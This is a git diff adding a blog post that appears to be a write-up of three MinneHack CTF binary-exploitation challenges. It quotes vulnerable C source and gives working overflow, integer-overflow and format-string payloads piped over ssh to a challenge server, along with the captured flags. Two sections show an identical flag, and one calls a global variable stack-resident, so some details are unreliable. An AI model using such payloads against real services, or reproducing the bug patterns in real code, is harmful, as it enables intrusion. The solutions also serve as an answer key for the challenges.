diff --git a/src/content/blog/minnehack-ctf-binary-exploitation/css/styles.css b/src/content/blog/minnehack-ctf-binary-exploitation/css/styles.css new file mode 100644 index 0000000..d1214b5 --- /dev/null +++ b/src/content/blog/minnehack-ctf-binary-exploitation/css/styles.css @@ -0,0 +1,4 @@ +code { + color: #e83e8c; + word-wrap: break-word; +} diff --git a/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx b/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx new file mode 100644 index 0000000..1ceb68a --- /dev/null +++ b/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx @@ -0,0 +1,189 @@ +--- +title: "MinneHack CTF: Binary Exploitation" +date: 2026-02-16T05:02:26Z +draft: false +author: dajeff +tags: [pwn] +--- + +import css from "css/styles.css?url"; +import readme from "./README.md?url"; +import solveScript from "./solve.py?url"; + + + +### Gets + +### Points: [50] + +> This category, we'll give you the source code for a Linux program written in C or another language. Your goal is to find a bug that allows you to trick it into printing the flag. Compile and run it on your own computer to develop an attack. +> ```c +> #include +> +> typedef struct { +> char buf[256]; +> int print_flag; +> } vars_t; +> +> int main() { +> vars_t v = {0}; +> printf("> "); +> gets(v.buf); +> if (v.print_flag != 0) { +> printf("flag{...}\n"); +> } +> } +> ``` +> To get the real flag, run the command below to connect to our server and perform your attack. We compiled with `gcc -ansi -O0` on Ubuntu 24.04. +> +> ```sh +> $ ssh ctf@128.101.131.184 -tp 80 zR37URyJ3mJ5K7vfeOnDIJ5A +> ``` + +### Solution + +The goal is to overwrite `v.print_flag` to print the flag. + +We can fill `v.buf` with 256 `a`'s and overwrite part of `v.print_flag` with a 257th `a`: +```sh +python3 -c "print('a'*257)" | ssh ctf@128.101.131.184 -tp 80 zR37URyJ3mJ5K7vfeOnDIJ5A +``` + +Flag: `flag{131cdc95-0314-4d81-9f84-de432848c109}` + +--- + +### Grid + +### Points: [50] + +> ```c +> #include +> #include +> +> #define IS_ADMIN (1 << 6) +> +> typedef struct { +> int mode; +> char pixels[1024]; +> } grid_t; +> +> grid_t grid; +> +> void print_grid() { +> for (int y = 0; y < 16; y++) { +> printf("%.32s\n", &grid.pixels[y * 32]); +> } +> if (grid.mode & IS_ADMIN) { +> printf("flag{...}\n"); +> } +> } +> +> int main() { +> grid.mode = 0; +> for (int i = 0; i < 1024; i++) { +> grid.pixels[i] = '?'; +> } +> +> while (1) { +> printf("Current image:\n"); +> print_grid(); +> +> int x; +> int y; +> char c; +> printf("X coordinate of pixel to change: "); +> scanf("%d", &x); +> printf("Y coordinate of pixel to change: "); +> scanf("%d", &y); +> printf("What character to put there: "); +> scanf(" %c", &c); +> +> if (x >= 0 && y >= 0) { +> grid.pixels[y * 32 + x] = c; +> } else { +> printf("Error: out of bounds!\n"); +> } +> } +> } +> ``` +> +> To get the real flag, run the command below to connect to our server and perform your attack. We compiled with `gcc -O2` on Ubuntu 24.04. +> +> ```sh +> ssh ctf@128.101.131.184 -tp 80 fiymDAzBJ5GjiouRB4AK0Rz1 +> ``` + +### Solution + +The goal is to overwrite `grid.mode` to print the flag. + +Note that `grid.mode` is below `grid.pixels` on the stack. If there was no condition `x >= 0`, we could set `x = -4` (since +an `int` is 4 bytes) to make `y * 32 + x` negative and overwrite `grid.mode`. + +Since there is a condition, we can instead overflow `y * 32 + x` to a negative integer. Note that `1 << 32 = 4294967296` +overflows to `0` in a signed `int`, so we can set +``` +y = (4294967296 - 32) // 32 = 134217727 +``` +to get `y * 32 = -32`, then add `x = 28` to access `grid.mode` at `-4`. This yields the flag; if it didn't, we should test +`x = 31` due to endianness. + +```sh +python3 -c "print('28\n134217727\n~')" | ssh ctf@128.101.131.184 -tp 80 fiymDAzBJ5GjiouRB4AK0Rz1 +``` + +Flag: `flag{e80525fc-9d60-4d11-a34b-73b386753ea3}` + +--- + +### Hello + +### Points: [50] + +> ```c +> #include +> #include +> +> char *the_flag = "flag{...}"; +> +> int main() { +> char *flag_ptr = the_flag; +> char greeting[128] = "Hello, "; +> printf("What is your name? "); +> scanf("%50s", greeting + strlen(greeting)); +> strcat(greeting, "!\n"); +> printf(greeting); +> } +> ``` +> To get the real flag, run the command below to connect to our server and perform your attack. We compiled with `gcc -O0` on Ubuntu 24.04. +> +> ```sh +> ssh ctf@128.101.131.184 -tp 80 N4onoYe1R584oDuGHN7zPo4x +> ``` + +### Solution + +The goal is to print the contents at `flag_ptr`. + +The vulnerable line is +```c +printf(greeting); +``` + +Since user input is passed as a format argument (as opposed to the more secure `printf("%s", greeting);`), there is a [format +string vulnerability](https://ctf101.org/binary-exploitation/what-is-a-format-string-vulnerability/). Using format +specifiers in our input, we can print stack "arguments" and leak the stack: +``` +% ssh ctf@128.101.131.184 -tp 80 N4onoYe1R584oDuGHN7zPo4x +What is your name? %llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx. +Hello, a.2f.0.8000.32.800.55686d14d008.25202c6f6c6c6548.! +Connection to 128.101.131.184 closed. +``` + +The 8th argument is ASCII and 7th argument looks like a pointer, so we'll print the flag at the 7th argument using `%7$s`: +```sh +python3 -c "print('%7\$s')" | ssh ctf@128.101.131.184 -tp 80 N4onoYe1R584oDuGHN7zPo4x +``` + +Flag: `flag{e80525fc-9d60-4d11-a34b-73b386753ea3}`